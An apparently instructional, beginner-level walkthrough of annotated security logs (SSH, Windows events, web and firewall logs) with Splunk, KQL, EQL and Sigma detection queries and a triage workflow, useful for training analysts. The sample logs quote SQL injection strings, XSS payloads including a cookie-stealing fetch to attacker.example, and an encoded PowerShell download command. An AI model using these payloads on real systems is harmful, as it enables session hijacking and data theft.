Beginner

# /var/log/auth.log — annotated sample
# Format: TIMESTAMP HOSTNAME PROCESS[PID]: MESSAGE
 
May 21 02:14:05 bastion-01 sshd[3812]: Failed password for invalid user admin from 203.0.113.47 port 54231 ssh2
# => Failed login attempt                                  (event type: authentication failure)
# => "invalid user admin" — username does not exist on the host (no such local account)
# => Source IP: 203.0.113.47 (external, RFC 5737 documentation range used here for example)
 
May 21 02:14:07 bastion-01 sshd[3814]: Failed password for invalid user root from 203.0.113.47 port 54233 ssh2
# => Second failure from the same IP within 2 seconds      (rapid sequential attempt)
# => "root" is another invalid user — direct root SSH typically disabled in sshd_config
 
May 21 02:14:09 bastion-01 sshd[3816]: Failed password for jsmith from 203.0.113.47 port 54235 ssh2
# => Third failure — now targeting a VALID username "jsmith" (username enumeration likely preceding)
# => Pattern so far: 3 failures from same IP in 4 seconds → brute-force indicator
 
May 21 08:32:01 bastion-01 sshd[4102]: Accepted publickey for jsmith from 10.0.1.15 port 52100 ssh2
# => Successful SSH login                                   (event type: authentication success)
# => Method: "publickey" — certificate-based auth (preferred; password auth should be disabled)
# => Source IP: 10.0.1.15 (internal network, expected for this user)
 
May 21 08:32:04 bastion-01 sshd[4102]: pam_unix(sshd:session): session opened for user jsmith by (uid=0)
# => SSH session officially opened for jsmith              (uid=0 here means opened by PAM/root context)
# => Log this timestamp as session start for timeline reconstruction
 
May 21 08:45:12 bastion-01 sudo: jsmith : TTY=pts/0 ; PWD=/home/jsmith ; USER=root ; COMMAND=/bin/cat /etc/shadow
# => sudo event — jsmith ran a command as root             (event type: privilege escalation)
# => COMMAND=/bin/cat /etc/shadow — reading the shadow password file is HIGH risk
# => Legitimate sysadmins rarely need to cat /etc/shadow; this warrants immediate review

# Windows Security Event Log — XML fields presented in readable key:value form
# Event ID 4624 — An account was successfully logged on
 
EventID:        4624
TimeCreated:    2026-05-21T03:17:44Z
Computer:       WKS-ACCT-042.corp.example.com
SubjectUserName: SYSTEM
# => SubjectUserName SYSTEM means the OS itself initiated the logon record (normal for network logons)
 
TargetUserName:  jdoe
TargetDomainName: CORP
# => The account that actually logged on: CORP\jdoe
 
LogonType:       3
# => LogonType 3 = Network logon (e.g., accessing a file share, not interactive desktop)
# => LogonType 2 = Interactive; 10 = RemoteInteractive (RDP); 5 = Service
 
IpAddress:       203.0.113.88
IpPort:          49201
# => Source IP 203.0.113.88 — external IP on a network logon at 03:17 UTC is anomalous
# => Corp users should not be authenticating via network logon from external IPs at 3 AM
 
AuthenticationPackageName: NTLM
# => NTLM used instead of Kerberos — external/non-domain hosts use NTLM
# => NTLM is weaker; modern environments should prefer Kerberos or block NTLM externally
 
# ---
 
# Event ID 4625 — An account failed to log on
 
EventID:        4625
TimeCreated:    2026-05-21T03:17:40Z
Computer:       WKS-ACCT-042.corp.example.com
TargetUserName:  jdoe
LogonType:       3
FailureReason:   %%2313
# => %%2313 = "Unknown user name or bad password"         (most common failure reason)
 
SubStatus:       0xC000006A
# => SubStatus 0xC000006A = wrong password (user EXISTS but password is wrong)
# => Compare: 0xC0000064 = user does not exist; 0xC0000234 = account locked out
 
IpAddress:       203.0.113.88
# => Same external IP as the 4624 above — 4625 at 03:17:40 then 4624 at 03:17:44
# => 4-second gap: one failure then success from same IP = likely credential stuffing hit

# Windows Security Event Log — Event ID 4688 (Process Creation)
# Audit Policy required: Audit Process Creation = Success
 
EventID:             4688
TimeCreated:         2026-05-21T14:22:07Z
Computer:            WKS-FIN-017.corp.example.com
 
SubjectUserName:     bwilson
SubjectDomainName:   CORP
# => bwilson is the logged-on user whose session spawned the new process
 
NewProcessName:      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
# => PowerShell launched — not inherently malicious, but context matters
 
ParentProcessName:   C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
# => Parent is Microsoft Word — Word spawning PowerShell is a CRITICAL red flag
# => Legitimate Word macros do not need to invoke PowerShell in most environments
# => This pattern matches macro-based malware (e.g., Emotet, Qakbot initial access)
 
CommandLine:         powershell.exe -NoProfile -NonInteractive -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQAwADMALgA=
# => -EncodedCommand flag: base64-encoded payload, a common obfuscation technique
# => -NoProfile -NonInteractive: suppress user profile and interaction (stealth indicators)
# => The base64 blob decodes to: Invoke-WebRequest -Uri http://103. (truncated — download attempt)
 
TokenElevationType:  %%1936
# => %%1936 = TokenElevationTypeLimited (not elevated/admin)
# => Process ran without admin rights — attacker may seek UAC bypass next
 
ProcessId:           0x1A3C
NewProcessId:        0x2B80
# => Record both PIDs for correlation with subsequent 4688 events (child process chain)

# /var/log/syslog — annotated sample
# Format: TIMESTAMP HOSTNAME FACILITY[PID]: MESSAGE
 
May 21 09:00:01 web-prod-03 CRON[7741]: (root) CMD (/usr/bin/certbot renew --quiet)
# => Routine cron job run as root                          (legitimate scheduled task)
# => certbot renew is expected on web servers using Let's Encrypt certificates
 
May 21 09:15:03 web-prod-03 systemd[1]: Starting nginx.service - A high performance web server...
May 21 09:15:03 web-prod-03 systemd[1]: Started nginx.service - A high performance web server.
# => Normal service start for nginx                        (expected after maintenance)
# => systemd[1] means PID 1 (init) managed the service lifecycle
 
May 21 11:42:17 web-prod-03 kernel: [1234567.890] EXT4-fs error (device sda1): ext4_validate_block_bitmap:376
# => Kernel filesystem error                               (hardware or disk issue)
# => EXT4-fs errors in production warrant disk health check (smartctl -a /dev/sda)
# => Not a security event — but disk corruption can be used to cover attacker tracks
 
May 21 14:03:55 web-prod-03 CRON[9102]: (www-data) CMD (/tmp/.update_check.sh)
# => Cron job running as www-data (the web server process user) — SUSPICIOUS
# => Script path is /tmp/ — attackers commonly stage payloads in /tmp (world-writable)
# => ".update_check.sh" uses a dot prefix to hide in directory listings (ls without -a)
# => www-data running scripts from /tmp during business hours is a HIGH-priority finding
 
May 21 14:03:55 web-prod-03 CRON[9102]: (CRON) error (can't fork)
# => The cron job failed to fork (system resource exhaustion or permission issue)
# => Even a failed execution warrants investigation — crontab entry itself is evidence
 
May 21 23:58:12 web-prod-03 systemd[1]: Stopping nginx.service...
May 21 23:58:12 web-prod-03 systemd[1]: Stopped nginx.service.
# => nginx stopped at 23:58 — outside any known maintenance window
# => Cross-reference with auth.log: who was logged in at this time?

# Apache Combined Log Format — annotated
# FORMAT: IP - USER [TIMESTAMP] "METHOD PATH HTTP/VER" STATUS SIZE "REFERER" "USER-AGENT"
 
203.0.113.5 - - [21/May/2026:10:14:01 +0700] "GET /index.php HTTP/1.1" 200 12453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# => Normal GET request for homepage                      (status 200 = success)
# => Size 12453 bytes is within expected range for this page
# => User-agent looks like a real browser (Windows 10 / Chrome)
 
203.0.113.5 - - [21/May/2026:10:14:03 +0700] "POST /checkout HTTP/1.1" 302 0 "https://shop.example.com/cart" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# => POST to /checkout then redirect (302)                 (typical purchase flow)
# => Referer is same-origin (shop.example.com) — consistent with normal navigation
 
198.51.100.22 - - [21/May/2026:10:22:17 +0700] "GET /wp-admin/admin-ajax.php HTTP/1.1" 404 196 "-" "python-requests/2.28.0"
# => 404 — resource not found (this server likely doesn't run WordPress)
# => User-agent "python-requests" is a script/tool, not a browser — automated scanning
# => Requesting wp-admin paths on a non-WordPress site = CMS fingerprint scanning
 
198.51.100.22 - - [21/May/2026:10:22:18 +0700] "GET /administrator/index.php HTTP/1.1" 404 196 "-" "python-requests/2.28.0"
# => Joomla admin path probed immediately after WordPress attempt
# => Same IP, same user-agent, 1-second interval — automated CMS scanner (e.g., wpscan, droopescan)
 
198.51.100.22 - - [21/May/2026:10:22:19 +0700] "GET /.env HTTP/1.1" 403 196 "-" "python-requests/2.28.0"
# => Attempting to read .env file (environment variables — DB passwords, API keys)
# => Status 403 = server refused (good — .env is protected), but the attempt must be logged
# => Three requests in 2 seconds from same script: clear reconnaissance pattern

# nginx error log — annotated
# Format: YYYY/MM/DD HH:MM:SS [LEVEL] PID#TID: *CONNID MESSAGE
 
2026/05/21 10:55:03 [error] 1821#1821: *4412 open() "/var/www/html/wp-login.php" failed (2: No such file or directory), client: 198.51.100.22, server: shop.example.com, request: "GET /wp-login.php HTTP/1.1"
# => 404-class error: requested file does not exist on disk
# => Client 198.51.100.22 requesting wp-login.php — WordPress login page probe
# => This server runs a custom app (no WordPress) — scanner looking for known CMS paths
 
2026/05/21 10:55:04 [error] 1821#1821: *4413 open() "/var/www/html/.git/config" failed (2: No such file or directory), client: 198.51.100.22, server: shop.example.com, request: "GET /.git/config HTTP/1.1"
# => Attempting to read .git/config — exposed Git repos leak source code and credentials
# => Good: the file does not exist (or is properly blocked)
# => If this returned 200: immediate critical finding — source code exposure
 
2026/05/21 11:30:17 [error] 1821#1821: *5001 connect() failed (111: Connection refused) while connecting to upstream, upstream: "http://127.0.0.1:8080/api/orders", client: 10.0.2.5
# => Upstream connection refused — the backend application server is not responding
# => Upstream is 127.0.0.1:8080 (local app server, e.g., Node.js or Gunicorn)
# => Could be: legitimate app crash, OOM kill, or attacker stopped/replaced the service
 
2026/05/21 11:30:17 [warn]  1821#1821: *5001 upstream server temporarily disabled while connecting to upstream, upstream: "http://127.0.0.1:8080"
# => nginx marks the upstream as temporarily disabled after connection failure
# => This causes all users to receive 502/503 errors — service impact has begun
# => Cross-reference: check syslog for app process exit or systemd service stop at ~11:30
 
2026/05/21 11:31:02 [error] 1821#1821: *5088 recv() failed (104: Connection reset by peer) while reading response header from upstream
# => The upstream connected but then reset the connection mid-response
# => Pattern: app crash after receiving a specific request (possibly triggered by exploit attempt)
# => Correlate with access log at 11:30:17 — what request immediately preceded the crash?

# auth.log — brute-force attack sample (condensed to show pattern)
# 47 failures from 203.0.113.99 between 04:11:00 and 04:11:47 (< 1 failure/second)
 
May 21 04:11:00 db-prod-01 sshd[6612]: Failed password for invalid user oracle from 203.0.113.99 port 41000 ssh2
# => Invalid user "oracle" — common DB service account name, targeted by automated tools
 
May 21 04:11:01 db-prod-01 sshd[6614]: Failed password for invalid user postgres from 203.0.113.99 port 41002 ssh2
# => "postgres" — default PostgreSQL superuser; another common brute-force target
 
May 21 04:11:02 db-prod-01 sshd[6616]: Failed password for root from 203.0.113.99 port 41004 ssh2
# => root targeted — most Linux servers disable root SSH, making this a wasted attempt
 
May 21 04:11:03 db-prod-01 sshd[6618]: Failed password for admin from 203.0.113.99 port 41006 ssh2
# => "admin" — generic admin account probe, common in IoT/embedded attack toolkits
 
May 21 04:11:30 db-prod-01 sshd[6720]: Failed password for dbadmin from 203.0.113.99 port 41060 ssh2
# => "dbadmin" — environment-specific guess, suggests attacker has some intel about this host
# => Transition from generic to specific usernames may indicate prior reconnaissance
 
May 21 04:11:46 db-prod-01 sshd[6748]: Failed password for deploy from 203.0.113.99 port 41088 ssh2
# => "deploy" — CI/CD service account; if it exists and uses password auth, high risk
 
May 21 04:11:48 db-prod-01 sshd[6750]: Accepted password for deploy from 203.0.113.99 port 41090 ssh2
# => SUCCESS — attacker guessed the password for "deploy" account
# => "Accepted password" (not publickey) — password authentication was enabled, a misconfiguration
# => Immediate actions: disable the account, rotate credentials, isolate the host

# Firewall deny log — iptables/netfilter format on a Linux gateway
# Format: TIMESTAMP HOSTNAME kernel: [UPTIME] TAG IN=IF OUT=IF SRC=IP DST=IP LEN PROTO SPT DPT
 
May 21 07:00:01 fw-gw-01 kernel: [88201.445] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54100 DPT=22
# => Destination port 22 (SSH) — first probe in the scan sequence
# => SRC port 54100 changes with each packet; DST port increments sequentially below
 
May 21 07:00:01 fw-gw-01 kernel: [88201.447] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54101 DPT=23
# => Port 23 (Telnet) — 2ms after port 22, sequential port increment
 
May 21 07:00:01 fw-gw-01 kernel: [88201.449] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54102 DPT=25
# => Port 25 (SMTP) — continues the sequential sweep
# => Timing: 22→23→25 within 4ms — machine speed, not human browsing
 
May 21 07:00:02 fw-gw-01 kernel: [88202.103] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54180 DPT=80
# => Port 80 (HTTP) — web server probe
# => Still same source IP, destination IP — single host scan in progress
 
May 21 07:00:02 fw-gw-01 kernel: [88202.104] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54181 DPT=443
# => Port 443 (HTTPS) — TLS web probe immediately after HTTP
 
May 21 07:00:02 fw-gw-01 kernel: [88202.210] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54200 DPT=3306
# => Port 3306 (MySQL) — database port probe
# => Sequential scan covering SSH, Telnet, SMTP, HTTP, HTTPS, MySQL in under 2 seconds
 
May 21 07:00:03 fw-gw-01 kernel: [88203.001] DENY IN=eth0 SRC=203.0.113.150 DST=10.0.1.10 PROTO=TCP SPT=54250 DPT=5432
# => Port 5432 (PostgreSQL) — attacker is building a service map of the target host
# => 65+ ports probed in 2 seconds → textbook TCP SYN scan (nmap -sS behavior)

# nginx access log — directory brute-force sample (50 requests in ~5 seconds)
# FORMAT: IP - - [TIMESTAMP] "METHOD PATH" STATUS SIZE "-" "USER-AGENT"
 
198.51.100.77 - - [21/May/2026:13:01:00 +0700] "GET /admin HTTP/1.1" 404 162 "-" "gobuster/3.6.0"
# => 404 for /admin — does not exist; gobuster user-agent in plain sight
# => gobuster is an open-source directory brute-force tool; its presence = active enumeration
 
198.51.100.77 - - [21/May/2026:13:01:00 +0700] "GET /backup HTTP/1.1" 404 162 "-" "gobuster/3.6.0"
# => /backup probed — common target for exposed database dumps or config backups
 
198.51.100.77 - - [21/May/2026:13:01:01 +0700] "GET /api HTTP/1.1" 200 1842 "-" "gobuster/3.6.0"
# => STATUS 200 — /api EXISTS and responded successfully  (finding for the attacker)
# => Gobuster will record this hit and the analyst must note it as an exposed endpoint
 
198.51.100.77 - - [21/May/2026:13:01:01 +0700] "GET /config HTTP/1.1" 403 162 "-" "gobuster/3.6.0"
# => 403 Forbidden — /config exists but is access-controlled
# => 403 tells the attacker the directory is real; they may try auth bypass next
 
198.51.100.77 - - [21/May/2026:13:01:02 +0700] "GET /uploads HTTP/1.1" 200 512 "-" "gobuster/3.6.0"
# => /uploads returned 200 — another confirmed endpoint
# => If /uploads allows unauthenticated file upload, this is a critical finding
 
198.51.100.77 - - [21/May/2026:13:01:03 +0700] "GET /.git HTTP/1.1" 403 162 "-" "gobuster/3.6.0"
# => /.git is protected (403) — good, but its existence is confirmed to the attacker
# => Exposed .git directories are a top-10 web vulnerability; verify .git is truly blocked
 
198.51.100.77 - - [21/May/2026:13:01:04 +0700] "GET /phpinfo.php HTTP/1.1" 404 162 "-" "gobuster/3.6.0"
# => phpinfo.php probe — common in PHP-targeted scans; 404 here is fine
# => If 200: phpinfo exposes server configuration, PHP version, and environment variables

# nginx access log — SQL injection attempt via GET parameter
# URL-decoded for readability; raw log contains %27 for ' and %20 for space
 
198.51.100.44 - - [21/May/2026:15:30:01 +0700] "GET /products?id=1' HTTP/1.1" 500 342 "-" "Mozilla/5.0"
# => Trailing single quote ' after numeric id=1               (classic SQLi probe)
# => Status 500: application threw an error — database error exposed through HTTP response
# => Single quote probe returned 500 = confirmed SQL injection vulnerability
 
198.51.100.44 - - [21/May/2026:15:30:05 +0700] "GET /products?id=1 OR 1=1-- HTTP/1.1" 200 45821 "-" "Mozilla/5.0"
# => "OR 1=1--" makes the WHERE clause always true            (returns all rows)
# => Status 200 with size 45821 bytes vs. normal ~800 bytes = massive data dump returned
# => "-- " comment-terminates the rest of the SQL query to prevent syntax errors
 
198.51.100.44 - - [21/May/2026:15:30:12 +0700] "GET /products?id=1 UNION SELECT null,username,password,null FROM users-- HTTP/1.1" 200 2341 "-" "Mozilla/5.0"
# => UNION-based injection: appends a second SELECT to dump the users table
# => "username,password" columns targeted — credential extraction attempt
# => If the response body contains actual password hashes, data breach has occurred
 
198.51.100.44 - - [21/May/2026:15:30:20 +0700] "GET /products?id=1; DROP TABLE products-- HTTP/1.1" 403 162 "-" "Mozilla/5.0"
# => Stacked query attempting to DROP TABLE (destructive)
# => Status 403: WAF or application blocked this specific payload (good)
# => Prior UNION SELECT returned 200 — WAF blocked DROP but missed data extraction payloads
 
198.51.100.44 - - [21/May/2026:15:30:25 +0700] "GET /products?id=1 AND SLEEP(5)-- HTTP/1.1" 200 812 "-" "Mozilla/5.0"
# => Time-based blind injection probe: if response delayed by 5s, injection succeeded
# => SLEEP(5) is MySQL-specific; pg_sleep(5) for PostgreSQL, WAITFOR DELAY for SQL Server
# => Attacker is confirming DB type and verifying out-of-band exploitation paths

# nginx access log — XSS attempt in search parameter
# URL-decoded below; raw log has %3C for < and %3E for > and %22 for "
 
198.51.100.90 - - [21/May/2026:16:00:01 +0700] "GET /search?q=<script>alert(1)</script> HTTP/1.1" 200 3421 "-" "Mozilla/5.0"
# => Classic reflected XSS probe: <script>alert(1)</script> in query parameter
# => Status 200 with non-trivial size — page rendered; if not sanitized, script executed in victim's browser
# => alert(1) is a proof-of-concept payload; if this works, attacker replaces it with cookie stealer
 
198.51.100.90 - - [21/May/2026:16:00:04 +0700] "GET /search?q=<img src=x onerror=alert(document.cookie)> HTTP/1.1" 200 3421 "-" "Mozilla/5.0"
# => Image tag with onerror event handler — fires JavaScript when the broken image fails to load
# => document.cookie dumps session cookies — attacker stealing session tokens (session hijacking)
# => This payload bypasses basic <script> tag filters that check for the word "script"
 
198.51.100.90 - - [21/May/2026:16:00:08 +0700] "GET /search?q=<svg onload=fetch('https://attacker.example/c?c='+document.cookie)> HTTP/1.1" 200 3421 "-" "Mozilla/5.0"
# => SVG tag with onload handler — more modern bypass technique
# => fetch() sends document.cookie to attacker-controlled domain (attacker.example)
# => If this rendered in a victim's browser, cookies were already exfiltrated
# => Check DNS/proxy logs for outbound requests to attacker.example from user IPs
 
198.51.100.90 - - [21/May/2026:16:00:15 +0700] "GET /profile/update?bio=<script src=//cdn.attacker.example/s.js></script> HTTP/1.1" 200 512 "-" "Mozilla/5.0"
# => Stored XSS attempt: injecting a remote script into a profile bio field
# => If stored (not sanitized before saving), every user who views this profile loads s.js
# => Stored XSS is more dangerous than reflected — affects all viewers, not just click victims

# nginx access log — anomalous user agent samples
# FORMAT: IP "REQUEST" STATUS SIZE "USER-AGENT"
 
198.51.100.11 "GET /login HTTP/1.1" 200 4521 "curl/7.88.1"
# => curl is a command-line HTTP client — legitimate for API testing but also used by attackers
# => /login accessed with curl: could be automated login attempt or API testing
# => Context matters: curl from an internal developer IP is fine; from external IP at 3 AM is not
 
198.51.100.22 "GET /products?id=1 HTTP/1.1" 200 812 "sqlmap/1.7.8#stable (https://sqlmap.org)"
# => sqlmap identifies itself explicitly in its user-agent — automated SQL injection tool
# => Any sqlmap user-agent in production logs = active SQL injection attack in progress
# => Immediate action: block IP, check if any injection succeeded (status 200 with large response)
 
198.51.100.33 "GET / HTTP/1.1" 200 12453 "Nikto/2.1.6"
# => Nikto is a web vulnerability scanner — comprehensive probe of known CVEs and misconfigs
# => Nikto explicitly declares itself; blocking it is trivial once detected
# => Follow-up: review all 198.51.100.33 requests to see what Nikto found
 
198.51.100.44 "GET /cgi-bin/test HTTP/1.1" 404 162 "masscan/1.3"
# => masscan is a high-speed port/service scanner
# => Appearing in web logs means it's probing HTTP specifically (unusual for masscan)
# => Sequential requests to /cgi-bin/ paths: looking for legacy CGI vulnerabilities
 
198.51.100.55 "GET /robots.txt HTTP/1.1" 200 312 "python-requests/2.31.0"
# => python-requests alone is ambiguous — used by both legitimate automation and attack tools
# => Combine with request pattern: /robots.txt first = reconnaissance step before deeper scan
# => Monitor subsequent requests from this IP for path enumeration or injection attempts
 
198.51.100.66 "GET /actuator/health HTTP/1.1" 200 42 "Go-http-client/1.1"
# => Go HTTP client — Spring Boot Actuator endpoint accessed (Java management interface)
# => /actuator/health is benign; /actuator/env or /actuator/heapdump would be critical
# => Automated probe of Actuator endpoints: check if /actuator/env was also accessed

| index=linux_auth sourcetype=auth_log "Failed password"
| # Filter events from the linux_auth index where the raw text contains "Failed password"
| # sourcetype=auth_log tells Splunk which field extractions to apply (sshd parsing)
| # This is the base search — all subsequent pipes refine this result set
 
| search src_ip=*
| # Ensure src_ip field is populated (filters out events where IP extraction failed)
| # Splunk extracts src_ip automatically from sshd log format via field extractions
 
| stats count AS failed_attempts BY src_ip
| # count: number of matching events per group
| # AS failed_attempts: rename the count column for readability in output
| # BY src_ip: group all events by unique source IP address
 
| sort -failed_attempts
| # Sort descending (- prefix) by failed_attempts — highest counts first
| # Top of the table = highest-priority IPs to investigate or block
 
| head 20
| # Return only the top 20 results (equivalent to SQL LIMIT 20)
| # Prevents overwhelming the analyst with hundreds of IPs
 
| table src_ip, failed_attempts
| # Display only these two columns in the output table
| # Cleaner than showing all 50+ extracted fields from the raw event

| index=windows_security EventCode=4624
| # Search Windows Security log for successful logon events (EventCode 4624)
| # Without time modifiers, Splunk uses the dashboard time picker (often "Last 24 hours")
 
| earliest="05/21/2026:02:00:00" latest="05/21/2026:05:00:00"
| # Absolute timestamp format: MM/DD/YYYY:HH:MM:SS (Splunk default)
| # earliest: start of window (inclusive) — 02:00 UTC on May 21
| # latest: end of window (inclusive) — 05:00 UTC on May 21
| # This scopes exactly to the known 3-hour incident window
 
| table _time, ComputerName, TargetUserName, LogonType, IpAddress
| # _time: event timestamp (Splunk's internal time field, always available)
| # ComputerName, TargetUserName, LogonType, IpAddress: key logon fields
 
---
| # Alternative: relative time modifiers (useful for recurring searches and alerts)
 
| index=linux_auth "Failed password" earliest=-1h@h latest=now
| # earliest=-1h@h: one hour ago, snapped to the start of the hour (e.g., 14:00 not 14:37)
| # latest=now: current time
| # @h snapping makes dashboards refresh cleanly at hour boundaries
 
| index=linux_auth "Failed password" earliest=-15m latest=now
| # Useful for near-real-time alert queries that run every 5 minutes in a scheduled search
| # 15-minute window with 5-minute schedule provides 10-minute overlap to catch late-arriving events
 
| index=firewall action=deny earliest=-24h@d latest=@d
| # @d: snap to start of day in the Splunk server's local timezone
| # -24h@d: yesterday's start; @d: today's start = exactly yesterday's firewall denies

| index=windows_security EventCode=4625 earliest=-60m latest=now
| # EventCode 4625 = Failed logon event on Windows
| # Time window: last 60 minutes (used in a scheduled alert that runs every 15 minutes)
 
| stats count AS failed_count, values(IpAddress) AS source_ips, values(WorkstationName) AS workstations
    BY TargetUserName
| # count: number of failed logon events per user
| # values(IpAddress): collect all unique IPs that attempted this user's account (may be 1 or many)
| # values(WorkstationName): collect all source workstation names
| # BY TargetUserName: one row per username in the output
 
| eval is_brute_force = if(failed_count > 10, "YES", "NO")
| # eval creates a new field "is_brute_force" using an if() expression
| # if(condition, true_value, false_value): analogous to a ternary operator
| # This labels each row without filtering — keeps full context for review
 
| eval risk_score = case(
    failed_count > 50, "CRITICAL",
    failed_count > 20, "HIGH",
    failed_count > 10, "MEDIUM",
    true(), "LOW"
  )
| # case() assigns a tiered risk score based on failure count
| # true() acts as the else/default branch — always matches if no prior condition did
| # This output field drives alert priority routing in the SOAR platform
 
| where is_brute_force = "YES"
| # Filter to only rows where brute force threshold is exceeded
| # where operates on computed fields (unlike search, which works on raw text)
 
| table TargetUserName, failed_count, risk_score, source_ips, workstations
| sort -failed_count
| # Final output: sorted by severity, ready for analyst triage

// KQL query — Basic event filtering
// Note: KQL does not use | pipes; it is a filter expression evaluated against the index
 
event.code: "4625" and host.name: "WKS-FIN-017"
// event.code: "4625" — filters to Windows failed logon events only
// and: both conditions must be true (boolean AND)
// host.name: "WKS-FIN-017" — restrict to a specific endpoint being investigated
 
---
 
// Extended query: multiple Event IDs with OR, and time-bounded in the Kibana time picker
// (Time range set to 2026-05-21 02:00 – 05:00 UTC in the Kibana date picker UI)
 
event.code: ("4624" or "4625") and host.name: "WKS-FIN-017" and source.ip: *
// event.code: ("4624" or "4625") — match either successful (4624) or failed (4625) logon
// Parentheses group the OR — without them, operator precedence may produce unexpected results
// source.ip: * — require the source.ip field to exist (non-null), filters out local logons
 
---
 
// Wildcard query: find all hosts in a subnet range
// Note: KQL does not support CIDR notation directly — use wildcard on the string representation
 
source.ip: "10.0.1.*" and event.category: "authentication"
// source.ip: "10.0.1.*" — wildcard matches any IP starting with 10.0.1.
// event.category: "authentication" — ECS (Elastic Common Schema) normalized category field
// ECS normalization means this works across Windows, Linux, and cloud log sources
 
---
 
// NOT operator: exclude known-good administrative IPs
 
event.code: "4625" and not source.ip: ("10.0.0.1" or "10.0.0.2")
// not source.ip: (...) — exclude the two known jump server IPs from the results
// This reduces false positives from automated monitoring tools that generate expected failures

// EQL Sequence Query — Elastic Event Query Language
// Detects: Office/PDF app spawns PowerShell → PowerShell makes network connection
// This two-event sequence is a strong indicator of macro-based or phishing-delivered malware
 
sequence by host.name with maxspan=2m
  // sequence: match events IN ORDER (event 1 must precede event 2)
  // by host.name: the sequence must occur on the SAME host
  // maxspan=2m: both events must occur within 2 minutes of each other
 
  [process where event.type == "start"
   and process.name : "powershell.exe"
   and process.parent.name : ("WINWORD.EXE", "EXCEL.EXE", "OUTLOOK.EXE", "AcroRd32.exe", "mshta.exe")]
  // First event: a process start event where:
  // - the new process is powershell.exe
  // - the parent process is a common phishing delivery vehicle (Office apps, PDF reader, mshta)
  // process.name : uses case-insensitive wildcard matching in EQL
 
  [network where event.type == "connection"
   and process.name : "powershell.exe"
   and not destination.ip : ("127.0.0.1", "::1", "10.0.0.0/8", "192.168.0.0/16", "172.16.0.0/12")]
  // Second event: a network connection event where:
  // - the connecting process is powershell.exe (same process, same host — enforced by sequence)
  // - destination is NOT a loopback or RFC 1918 private address (external C2 connection)
  // not destination.ip with CIDR blocks excludes benign internal update connections

# Sigma rule — SSH brute-force detection
# File: rules/linux/auth/ssh_brute_force.yml
 
title: SSH Brute Force Login Attempt
# title: human-readable name for the detection; appears in SIEM alert titles
 
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
# id: unique UUID v4 for this rule; stable identifier used for rule management and suppression
 
status: stable
# status: draft | test | stable | deprecated
# stable = rule has been validated in production and has acceptable false-positive rate
 
description: |
  Detects multiple failed SSH authentication attempts from a single source IP in a short
  time window, indicating a brute-force or credential stuffing attack against SSH service.
# description: explains what the rule detects and why it fires
references:
  - https://attack.mitre.org/techniques/T1110/001/
# references: links to MITRE ATT&CK, CVEs, or threat intel reports that inform this detection
# T1110.001 = Brute Force: Password Guessing
 
author: soc-team@corp.example.com
date: 2026-05-21
# date: creation or last modification date (ISO 8601 format)
 
tags:
  - attack.credential_access # MITRE ATT&CK tactic
  - attack.t1110.001 # MITRE ATT&CK technique: Brute Force - Password Guessing
# tags: structured taxonomy for grouping and filtering rules
 
logsource:
  product: linux
  service: auth
  # logsource: tells the converter which log source to query
  # product: linux → /var/log/auth.log or /var/log/secure depending on distro
  # service: auth → Sigma knows to look for sshd-generated authentication events
 
detection:
  keywords:
    - "Failed password"
  # keywords: raw text patterns to match in the log message field
  # Sigma will generate a full-text search or message field match in the target SIEM
 
  filter_invalid:
    message|contains: "invalid user"
  # filter_invalid: optional sub-section for exclusions (reduces false positives)
  # This filter suppresses "invalid user" events (non-existent accounts) from the count
  # Rationale: real brute-force against valid accounts is higher priority
 
  condition: keywords and not filter_invalid
  # condition: boolean expression combining detection sections
  # "keywords and not filter_invalid" = match "Failed password" but not "invalid user"
 
aggregation:
  function: count()
  groupby:
    - src_ip
  timewindow: 60s
  condition: "> 10"
# aggregation: threshold-based detection (not all SIEMs support this natively from Sigma)
# count() more than 10 events grouped by src_ip within 60 seconds
 
falsepositives:
  - Legitimate automated tools (e.g., monitoring systems testing SSH connectivity)
  - Password rotation scripts that have misconfigured credentials
# falsepositives: document known benign triggers so analysts can tune suppressions
 
level: medium
# level: informational | low | medium | high | critical
# medium: warrants investigation but not immediate paging; escalate if volume is high

# Alert Triage Workflow — annotated step-by-step procedure
# Tool: SOAR/ticketing system + threat intelligence platform + SIEM
 
# STEP 1: ACKNOWLEDGE — claim the alert to prevent duplicate triage
# => Open the alert in the SOAR platform and assign it to yourself
# => Set status from "New" to "In Progress"
# => Record start time: 2026-05-21 09:14 UTC
 
# STEP 2: ENRICH — gather context before making a decision
 
# 2a. Confirm the alert data (never trust the alert summary alone — verify raw logs)
# SIEM query to confirm:
# index=linux_auth src_ip=203.0.113.77 "Failed password" earliest=-1h
# => 47 failures confirmed from 203.0.113.77 in past 60 minutes
# => All targeting db-prod-01; no successful logins observed
 
# 2b. IP reputation check (see Example 20 for detailed lookup workflow)
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=203.0.113.77&maxAgeInDays=90" \
  -H "Key: $ABUSEIPDB_API_KEY" \
  -H "Accept: application/json" | jq '.data | {abuseScore: .abuseConfidenceScore, country: .countryCode, isp: .isp}'
# => Output: {"abuseScore": 95, "country": "CN", "isp": "Shenzhen Hosting Ltd"}
# => abuseScore 95/100 — this IP is widely reported as malicious                (high confidence)
 
# 2c. Check whether any SSH login succeeded from this IP
grep "Accepted" /var/log/auth.log | grep "203.0.113.77"
# => No output — zero successful logins from this IP
# => No successful login = attack did not succeed (so far)
 
# 2d. Verify the target host's exposure
nmap -sV --open -p 22 db-prod-01.corp.example.com 2>/dev/null | grep "22/tcp"
# => 22/tcp  open  ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
# => SSH is Internet-exposed on this DB server — this is a configuration risk
